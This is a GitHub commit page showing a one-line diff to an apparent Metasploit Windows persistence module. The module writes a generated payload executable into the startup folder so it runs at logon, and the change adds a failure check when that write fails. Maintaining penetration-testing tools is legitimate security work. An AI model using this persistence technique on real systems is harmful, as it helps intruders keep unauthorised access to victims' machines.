Skip to content

Commit 85fa7e0

Browse files
committed
windows persistence: startup folder review
1 parent fd04f46 commit 85fa7e0

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/persistence/startup_folder.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def install_persistence
8383
payload_exe = generate_payload_exe
8484
payload_pathname = folder + '\\' + payload_name + '.exe'
8585
vprint_good("Writing payload to #{payload_pathname}")
86-
write_file(payload_pathname, payload_exe)
86+
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
8787
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
8888
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
8989
end

0 commit comments

Comments
 (0)